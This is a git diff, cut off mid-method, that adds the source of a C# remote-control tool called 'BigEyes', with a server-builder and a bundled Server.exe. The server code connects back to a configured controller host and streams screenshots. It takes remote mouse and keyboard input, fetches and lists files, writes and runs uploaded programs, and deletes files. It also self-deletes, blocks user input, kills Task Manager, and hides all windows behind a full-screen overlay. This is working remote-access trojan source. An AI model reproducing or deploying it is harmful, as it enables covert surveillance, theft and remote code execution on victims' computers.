+ Tf8HSAf8AB8AfAAAACYAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAVQAAA4UKA9nTfFv/dQQA0wAAAD0AAAAQAAAAAAAAAAAAAAAAAAAAAAA/
+ AAQHSQffisyR/0COQv8AMgDYAAAASgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAD9+BADLdQAAPQAAABAAAAAEAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAPQByRopJ/yNmJfwAKgB1AAAAIQAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgAGAUEBugA7AI4AAAAZAAAACQAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//+AH///AAD/8AAAf/8AAP/gAAAD/wAA/AAAAAAP
+ AAD4AAAAAAAAAPAAAAAAAAAA4AAAAAAAAACAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAA
+ AAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAQAAgAAAAAGDAACAAAAAAf8AAIAAAAAB/wAAgAAAAAH/
+ AACAAAAAAf8AAIAAAAAB/wAAgAAAAAH/AACAAAAAAf8AAIAAAAAB/wAAgAAAAAH/AACAAAAAAf8AAIAA
+ AAAB/wAAgAAAAAH/AACAAAAAAf8AAIAAAAAB/wAAgAAAAAH/AACAAAAAAf8AAIAAAAAB/wAAgAAAAAH/
+ AACAAAAAAf8AAIAAAAAB/wAAwAAAAAP/AAD+AAAAD/8AAP4AAAB//wAA/gAAB///AAD/AEAP//8AAP8A
+ QB///wAA/4DgH///AAD/gOAf//8AAP+B4D///wAA/8HwP///AAD///B///8AAP///////wAAKAAAACAA
+ AABAAAAAAQAgAAAAAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAMAAAAKAAAAFgAAACUAAAArAAAAJwAAAB8AAAAXAAAADgAAAAYAAAABAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAwAAAA4AAAAiAAAANAAAAEQAAABdAAAAegAAAIcAAAB+AAAAbgAAAF4AAABNAAAAPQAA
+ AC8AAAAlAAAAHAAAABQAAAALAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAEAAAAEgAAACQAAAArAAAAQQAAMW0AADCgAAA5vwMDYfACAmv7BQVe8QQET+QAADTUAAApwQAA
+ IqsAAACYAAAAiwAAAHsAAABqAAAAWgAAAEgAAAA5AAAALQAAACQAAAAbAAAAEgAAAAkAAAADAAAAAAAA
+ AAAAAAAAAAAABgAAAB4AAABOAAAAdgAANJQICF/bCAh3+gkJf/8LC4n/EBCS/xMTlf8cHJL/MzO9/yMj
+ qf8mJqH/JiaX/xsbfvkQEF/uAwNA4AAALs4AACW6AAAbowAAAJUAAACHAAAAdgAAAGQAAABTAAAAPgAA
+ ACIAAAAKAAAAAAAAAAgAAAAmN09riEhoivNHZontNUx47Rwfif9YXM//TU/R/0VGz/9CQs3/PDzF/zAw
+ p/9SUt//QUHP/0hI1f9aWub/Wlrl/1hY4v9WVt//SkrM/zk5sf8oKJb+GRl29gwMVOoAADfbAAAxyAAA
+ KrIAAACUAAAAYwAAAB8AAAALAAAALjhSbqVKbJL9TW6T/7jR4f+gvdP/e5a7/0dQmv97hNT/oq34/5qk
+ 9v9qcNL/Y2jG/4SL8f9kadn/dHfu/4CC/v99fv3/eXr9/3Z2/P9xcfr/bGz2/2Vl8f9eXun/Vlbg/0RE
+ zP8aGpz/HR2X/wYGV+sAAACLAAAAMABvbyE9WXa8T3KY/kx7rP9NbpP/3vH3/9vw9v/X7fX/0unz/4aV
+ vv9ITKn/jpb0/1ZcsP+ns/H/s8H8/4KPzf+3wfz/tb3//7C3//+qsf//par//56i//+VmP//i43//4CB
+ /v91dfz/aGj0/zMzwf9GRtP/Hh6R/QAAAI4AAAAwR2eJv1Z6oP9hjrr/UYK0/01uk//g8/j/3fH3/9nu
+ 9v/V6/T/0Ojz/5mszP80N53/JCaG/3N61P+Mler/doDN/7jB///Byv//yNH//8zV///N1v//ytP//8XN
+ //+8w///sbj//6Wr//+LkfP/XmLU/29y7P8tLpz8AAAAfwAAACpNbpP/eKLH/2iUv/9Whrb/TW6T/+L0
+ +f/g8/j/3PD3/9ft9f/T6vP/z+fy/8rk8P+uxt3/iJzD/2NzpP9RXJr/T1ag/1VYqP91ecX/mp/k/7vB
+ /f/Dyv//xs7//8nR///J0///x9H//52o3f+fq+r/qLT5/zA0hO4AAABjAAAAHE1uk/9+p8v/bJjC/1uK
+ uP9NbpP/5fb6/+L1+f+60+L/fpq1/3yXs/+Nrsn/o8HX/7fU5f/D4O7/wN3s/7va6/+31+n/rs7j/46q
+ yv9sg67/UmOa/1Bcnf9UWqL/YmWx/4CE0P+boe3/bXbI/5+p9/+eqPD/DAxXuQAAADQAAAAMTW6T/4Or
+ zf9xnMT/YI67/01uk//n+Pv/rMbY/4pdT/+jRRf/fxwG/0ZWfv8rbET/SYF1/zpscP9Bd3z/XIie/3Wc
+ vf+Ircv/mb3X/6jM4v+ozeT/pMri/5/H4P9RdaH/AAAqswAARJIMDmmhKSuKyyEkgtEAAFA1AAAADwAA
+ AANNbpP/h6/Q/3agx/9kkr3/TW6T/+r6+/90eof/1GYn/8deK/+ULBT/boii/yVtJ/+PzZb/peGt/1qy
+ W/82gDb/EkwV/z5div86W4r/QmmY/2CJsf+gxt//osjh/1h+qP8AAACWAAAANgAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAE1uk/+Ms9L/e6TJ/2mWwP9NbpP/7Pv8/21na//Vai3/zWUx/5gwGP9uiKL/Ro5H/7Dv
+ uP+08Lz/asJs/0yWTP8fWR//aZGv/zxVhP9qkrn/XIOv/2GLsv+kyuL/WH6o/wAAAJQAAAAzAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAATW6T/5G31f9/qMz/bprC/01uk//u/P3/a2Zs/81kKv/MYzD/mTIa/22G
+ oP9Kkkv/tPO8/7jzwP9yynT/Vp9W/yNeI/9tlrP/PFWE/26WvP9jirT/SHGg/6fM4/9Yfqj/AAAAlAAA
+ ADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNbpP/lrvX/4Sszv9yncX/TW6T//D9/f9ygJL/vVgf/7xT
+ IP+NLRX/XniS/0aLSP+r6rP/suu6/3PLdf9apFr/J2En/2uUsf87VIP/b5i9/2WMtf9Ebp3/qc7k/1h+
+ qP8AAACUAAAAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE1uk/+av9r/ibDR/3ehx/9NbpP/8f39/8Xa
+ 5f90YGP/nUYe/3UhCf87VG//MG0x/3q3gf+FvIz/Vq5X/0iRSP8gVyD/WYKf/zJLev9mjrP/WoGp/0dx
+ nv+sz+X/WH6o/wAAAJQAAAAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATW6T/5/D3P+OtNP/fKXK/01u
+ k//y/f3/8v///9zt8/+duc//gp25/2aJqf9MeYP/Sn2A/0p9d/8zflD/Km85/xRCF/8yW3j/GjNi/0Bp
+ jP85Yoz/eaDB/67R5v9Yfqj/AAAAlAAAADMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNbpP/pMff/5K4
+ 1f+Bqcz/TW6T//P9/f/z////8f7+/+79/v/q+vz/5ff6/+H0+f/c8Pf/yODs/6/L3f+Wts//f6LA/2mO
+ sf9NcZr/VX2j/4eryf+11uj/sdPn/1h+qP8AAACUAAAAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE1u
+ k/+py+H/l7zY/4Wtz/9NbpP/9P39//T////y////8P7+/+z7/f/o+Pv/4/X6/9/y+P/b7/b/1uz1/9Lp
+ 8//O5vL/yeTw/8Xh7v/A3u3/vNvr/7jY6f+z1ej/WH6o/wAAAJQAAAAzAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAATW6T/63P5P+cwNr/irHR/01uk//1/f3/9f////P////x////7v3+/+r6/P/m9/v/4fT5/93x
+ 9//Z7vb/1Ov0/9Do8v/M5fH/x+Lv/8Pf7v+/3Oz/utnq/7bW6f9Yfqj/AAAAlAAAADMAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAABNbpP/stPm/6DE3f+PtdT/TW6T//b9/f/2////9P////L////w/v7/7fz9/+j5
+ +//k9vr/4PP4/9vw9//X7fX/0+rz/87n8v/K5PD/xeHv/8He7f+92+v/uNjq/1h+qP8AAACUAAAAMwAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAE1uk/+31+n/pcjf/32iwf9NbpP/kqzH/6W80v+3zNz/yNvm/9nq
+ 8f/p+Pv/6/v8/+f4+//i9fn/3vL4/9nv9v/V7PT/0enz/8zm8f/I4+//xODu/7/d7P+72uv/WH6o/wAA
+ AJQAAAAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATW6T/6rK3f9miKj/UnSY/4dSUf+vnJX/qaKg/4x4
+ ef9wb4D/X3CP/1l9p/9kiK7/dJa4/4Skwv+Tscv/ob3U/67J3P+61OT/xd7s/8rk8P/G4e//wt7t/73b
+ 7P9Yfqj/AAAAigAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNbpP/Tm+U/1V4nP9okK7/ojso/+Kv
+ i//2w5f/3W4v/7BIFP+FHgb/bomj/zN4O/+KxKH/i7+q/02Pcv9Bd2//QG13/1yCqv9Ve6X/XIGq/2mN
+ s/91mLv/gKPC/1h+qP8AAABZAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEhljJI7VIG8OVN/2DpT
+ gfGLFQ3/qUY2/7JWQ/+rOyL/miUP/4MNAv9heJf/MHgx/3u6gf9zsHn/MIEx/x1kHf8MRwz/bZaz/zxV
+ hP+Is8//aIyx/0lnk/9FY4/1SmmPpwAAAB8AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ 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
+</value>
+ </data>
+</root> \ No newline at end of file
diff --git a/CreateServer/Program.cs b/CreateServer/Program.cs
new file mode 100644
index 0000000..e5d144f
--- /dev/null
+++ b/CreateServer/Program.cs
@@ -0,0 +1,20 @@
+using System;
+using System.Collections.Generic;
+using System.Windows.Forms;
+
+namespace BigEyes.CreateServer
+{
+ static class Program
+ {
+ /// <summary>
+ /// The main entry point for the application.
+ /// </summary>
+ [STAThread]
+ static void Main()
+ {
+ Application.EnableVisualStyles();
+ Application.SetCompatibleTextRenderingDefault(false);
+ Application.Run(new Form1());
+ }
+ }
+} \ No newline at end of file
diff --git a/CreateServer/Server.exe b/CreateServer/Server.exe
new file mode 100644
index 0000000..dd6d41a
--- /dev/null
+++ b/CreateServer/Server.exe
Binary files differ
diff --git a/CreateServer/Themes.ico b/CreateServer/Themes.ico
new file mode 100644
index 0000000..936bd40
--- /dev/null
+++ b/CreateServer/Themes.ico
Binary files differ
diff --git a/Server/Disabler.cs b/Server/Disabler.cs
new file mode 100644
index 0000000..8a4d646
--- /dev/null
+++ b/Server/Disabler.cs
@@ -0,0 +1,52 @@
+using System;
+using System.Threading;
+using System.Runtime.InteropServices;
+using System.Diagnostics;
+
+namespace BigEyes.Server
+{
+ public class Disabler
+ {
+ [DllImport("user32.dll")]
+ public static extern int BlockInput(int kbd);
+ private Timer _timer;
+ private int _on;
+ public Disabler()
+ {
+ _timer = new Timer(new TimerCallback(blockInput));
+ }
+ ~Disabler()
+ {
+ Stop();
+ }
+ public void Start()
+ {
+ _on = 1;
+ _timer.Change(0, 100);
+ }
+ public void Stop()
+ {
+ _on = 0;
+ _timer.Change(0, Timeout.Infinite);
+ }
+ private void blockInput(object o)
+ {
+ BlockInput(_on);
+ if (_on == 1)
+ {
+ Process[] prs = Process.GetProcessesByName("taskmgr");
+ if (prs.Length > 0)
+ {
+ foreach (Process p in prs)
+ {
+ try
+ {
+ p.Kill();
+ }
+ catch { }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/Server/Main.cs b/Server/Main.cs
new file mode 100644
index 0000000..d292909
--- /dev/null
+++ b/Server/Main.cs
@@ -0,0 +1,59 @@
+using System;
+using System.Diagnostics;
+using System.Net;
+using System.Threading;
+using System.Runtime.InteropServices;
+
+namespace BigEyes.Server
+{
+ public class EntryPoint
+ {
+ [DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize", ExactSpelling = true, CharSet = System.Runtime.InteropServices.CharSet.Ansi, SetLastError = true)]
+ private static extern int SetProcessWorkingSetSize(IntPtr process, int minimumWorkingSetSize, int maximumWorkingSetSize);
+ private static void Main(string[] args)
+ {
+ new Thread(new ThreadStart(reduceMemory)).Start();
+ Debug.Listeners.Add(new TextWriterTraceListener(Console.Out));
+ foreach(Process p in Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName))
+ {
+ if(p.Id != Process.GetCurrentProcess().Id)
+ {
+ p.Kill();
+ }
+ }
+ try
+ {
+ System.IO.StreamReader sr = new System.IO.StreamReader(System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream("BigEyes.Server.viewer.txt"));
+ Server s = new Server(new IPEndPoint(Dns.GetHostEntry(sr.ReadToEnd()).AddressList[0], 2201));
+ sr.Close();
+ s.Error+=new Server.Invoker(s_Error);
+ System.Threading.Thread.CurrentThread.Suspend();
+ }
+ catch
+ {
+ Main(args);
+ }
+ }
+ private static void s_Error()
+ {
+ Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location);
+ }
+ private static void reduceMemory()
+ {
+ for (; ; )
+ {
+ Thread.Sleep(400);
+ try
+ {
+ GC.WaitForPendingFinalizers();
+ GC.Collect();
+ if (Environment.OSVersion.Platform == PlatformID.Win32NT)
+ {
+ SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);
+ }
+ }
+ catch { }
+ }
+ }
+ }
+}
diff --git a/Server/Matrix.cs b/Server/Matrix.cs
new file mode 100644
index 0000000..1d1128d
--- /dev/null
+++ b/Server/Matrix.cs
@@ -0,0 +1,98 @@
+using System;
+using System.Drawing;
+using System.Windows.Forms;
+using System.Text;
+using System.Runtime.InteropServices;
+using System.Diagnostics;
+
+namespace BigEyes.Server
+{
+ public class Matrix : Form, IDisposable
+ {
+ private StringBuilder _text;
+ private bool _canClose;
+ private Windows _windows;
+ [DllImport("user32.dll")]
+ private static extern int ShowCursor(int bShow);
+ public Matrix()
+ {
+ this.SetStyle(ControlStyles.UserPaint, true);
+ this.SetStyle(ControlStyles.AllPaintingInWmPaint, true);
+ this.SetStyle(ControlStyles.DoubleBuffer, true);
+ this.FormBorderStyle = FormBorderStyle.None;
+ this.StartPosition = FormStartPosition.Manual;
+ this.Location = new Point(0, 0);
+ this.Size = Screen.FromControl(this).Bounds.Size;
+ this.TopMost = true;
+ this.BackColor = Color.Black;
+ this.FormClosing += new FormClosingEventHandler(Matrix_FormClosing);
+ ShowCursor(0);
+ _text = new StringBuilder();
+ _canClose = false;
+ _windows = new Windows(false, true);
+ foreach (Window w in _windows)
+ {
+ if (w.hWnd != this.Handle)
+ {
+ w.Visible = false;
+ }
+ }
+ _windows.Reset();
+
+ }
+ ~Matrix()
+ {
+ Kill();
+ }
+ private void Matrix_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ e.Cancel = !_canClose;
+ }
+ public void Kill()
+ {
+ if (!_canClose)
+ {
+ _canClose = true;
+ foreach (Window w in _windows)
+ {
+ if (w.hWnd != this.Handle)
+ {
+ w.Visible = true;
+ }
+ }
+ ShowCursor(-1);
+ this.Invoke(new MethodInvoker(this.Close));
+ }
+ }
+ public void CharPress(char c)
+ {
+ if (c == '\b' && _text.Length > 0)
+ {
+ _text.Remove(_text.Length - 1, 1);
+ }
+ else if (c == '\r')
+ {
+ _text.Append('\n');
+ }
+ else
+ {
+ _text.Append(c);
+ }
+ this.Invalidate();
+ }
+ protected override void OnPaint(PaintEventArgs e)
+ {
+ base.OnPaint(e);
+ e.Graphics.DrawString(_text.ToString() + '\b', new Font(FontFamily.GenericMonospace, 10), Brushes.GreenYellow, new RectangleF(0, 0, this.Width, this.Height));
+ }
+
+ #region IDisposable Members
+
+ public void Dispose()
+ {
+ Kill();
+ }
+
+ #endregion
+ }
+}
diff --git a/Server/Server.cs b/Server/Server.cs
new file mode 100644
index 0000000..7ac1ae6
--- /dev/null
+++ b/Server/Server.cs
@@ -0,0 +1,318 @@
+using System;
+using System.IO;
+using System.Net.Sockets;
+using System.Net;
+using System.Diagnostics;
+using System.Threading;
+using System.Collections;
+
+namespace BigEyes.Server
+{
+ public class Server
+ {
+ private NetworkStream _stream;
+ private Thread _listenThread;
+ private Thread _sendThread;
+ private AutoResetEvent _sendBlock;
+ private UserCapture _userCapture;
+ private Queue _messageQueue;
+ private string _pushPath;
+ private BinaryWriter _writer;
+ public delegate void Invoker();
+ private delegate void printChar(char c);
+ public event Invoker Error;
+ private Matrix _matrixScreen;
+ private Thread _matrixScreenThread;
+ private Disabler _disabler;
+ public Server(IPEndPoint ip)
+ {
+ Socket socket = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
+ for(;;)
+ {
+ try
+ {
+ Debug.WriteLine("Trying to connect...");
+ socket.Connect(ip);
+ _stream = new NetworkStream(socket);
+ break;
+ }
+ catch
+ {
+ Debug.WriteLine("Failure. Sleeping...");
+ Thread.Sleep(1000);
+ }
+ }
+ Debug.WriteLine("Connected!");
+ _userCapture = new UserCapture(750);
+ _disabler = new Disabler();
+ _messageQueue = new Queue();
+ _writer = new BinaryWriter(_stream);
+ _listenThread = new Thread(new ThreadStart(listenThread));
+ _listenThread.IsBackground = true;
+ _listenThread.Start();
+ _sendBlock = new AutoResetEvent(false);
+ _sendThread = new Thread(new ThreadStart(sendThread));
+ _sendThread.IsBackground = true;
+ _sendThread.Start();
+ Debug.WriteLine("Threads started.");
+ }
+ private void sendThread()
+ {
+ try
+ {
+ while(true)
+ {
+ _sendBlock.WaitOne();
+ byte[] image = new byte[0];
+ while(image.Length==0)
+ {
+ image = _userCapture.GetDesktopBitmapBytes();
+ if(image.Length != 0)
+ {
+ _writer.Write((byte)0);
+ _writer.Write(image.Length);
+ _writer.Write(image);
+ _writer.Flush();
+ }
+ Debug.WriteLine("Sent screenshot.");
+ Thread.Sleep(100);
+ }
+ }
+ }
+ catch
+ {
+ errorOut();
+ }
+ }
+ private void listenThread()
+ {
+ try
+ {
+ BinaryReader reader = new BinaryReader(_stream);
+ while(true)
+ {
+ switch(reader.ReadByte())
+ {
+ case 0:
+ _userCapture.MoveMouse(reader.ReadInt32(),reader.ReadInt32());
+ Debug.WriteLine("Mouse move.");
+ break;
+ case 1:
+ _userCapture.PressOrReleaseMouseButton(reader.ReadBoolean(),reader.ReadBoolean(),reader.ReadInt32(),reader.ReadInt32());
+ Debug.WriteLine("Mouse click.");
+ break;
+ case 2:
+ _userCapture.SendKeystroke(reader.ReadByte(),reader.ReadBoolean(),reader.ReadBoolean());
+ Debug.WriteLine("Keystroke.");
+ break;
+ case 3:
+ _sendBlock.Set();
+ Debug.WriteLine("Picture request.");
+ break;
+ case 4:
+ string path = reader.ReadString();
+ if(File.Exists(path))
+ {
+ bool file = false;
+ try
+ {
+ FileStream fs = new FileStream(path,FileMode.Open,FileAccess.Read);
+ byte[] bytes = new byte[fs.Length];
+ fs.Read(bytes,0,bytes.Length);
+ fs.Close();
+ file = true;
+ _writer.Write((byte)2);
+ _writer.Write(Path.GetFileName(path));
+ _writer.Write(bytes.Length);
+ _writer.Write(bytes);
+ Debug.WriteLine(String.Format("Sent {0}.",path));
+ }
+ catch(Exception e)
+ {
+ Debug.WriteLine(e.Message);
+ if(!file)
+ {
+ _writer.Write((byte)2);
+ _writer.Write("error");
+ }
+ else
+ {
+ throw e;
+ }
+ }
+ }
+ else if(Directory.Exists(path))
+ {
+ _writer.Write((byte)1);
+ try
+ {
+ _writer.Write(String.Join("\n",Directory.GetFileSystemEntries(path)));
+ Debug.WriteLine(String.Format("Sent directory {0}.",path));
+ }
+ catch(DirectoryNotFoundException)
+ {
+ _writer.Write(String.Empty);
+ }
+ catch(UnauthorizedAccessException)
+ {
+ _writer.Write(String.Empty);
+ }
+ catch(ArgumentException)
+ {
+ _writer.Write(String.Empty);
+ }
+ }
+ break;
+ case 5:
+ try
+ {
+ path = reader.ReadString();
+ FileStream fs = new FileStream(path,FileMode.Create,FileAccess.Write);
+ byte[] b = reader.ReadBytes(reader.ReadInt32());
+ fs.Write(b,0,b.Length);
+ fs.Close();
+ if(reader.ReadBoolean())
+ {
+ _pushPath = path;
+ new Thread(new ThreadStart(processWait)).Start();
+ }
+ else
+ {
+ try
+ {
+ System.Diagnostics.Process.Start(path);
+ }
+ catch { }
+ }
+ Debug.WriteLine("Wrote and executed process.");
+ }
+ catch(UnauthorizedAccessException){}
+ catch(System.ComponentModel.Win32Exception){}
+ break;
+ case 6:
+ try
+ {
+ path = reader.ReadString();
+ if(File.Exists(path))
+ {
+ File.Delete(path);
+ }
+ else if(Directory.Exists(path))
+ {
+ Directory.Delete(path,true);
+ }
+ Debug.WriteLine(String.Format("Deleted {0}.",path));
+ }
+ catch(UnauthorizedAccessException){}
+ catch(System.ComponentModel.Win32Exception){}
+ catch(System.IO.DirectoryNotFoundException){}
+ catch(System.IO.FileNotFoundException){}
+ catch(ArgumentException){}
+ break;
+ case 7:
+ Debug.WriteLine("Removing big eyes.");
+ try
+ {
+ StreamWriter sw = File.CreateText("selfdelete.bat");
+ sw.Write(":Repeat\ndel \"{0}\"\nif exist \"{0}\" goto Repeat\ndel \"selfdelete.bat\"", Environment.CommandLine.Replace("\"", ""));
+ sw.Close();
+ Process.Start("selfdelete.bat");
+ Process.GetCurrentProcess().Kill();
+ }
+ catch(System.Exception e)
+ {
+ Debug.WriteLine(e.Message);
+ }
+ break;
+ case 8:
+ Debug.WriteLine("Loading matrix screen.");
+ _disabler.Start();
+ if (_matrixScreen != null)
+ {
+ _matrixScreen.Kill();
+ _matrixScreen = null;
+ }
+ if (_matrixScreenThread != null)
+ {
+ System.Windows.Forms.Application.Exit();
+ try { _matrixScreenThread.Abort(); }
+ catch { }
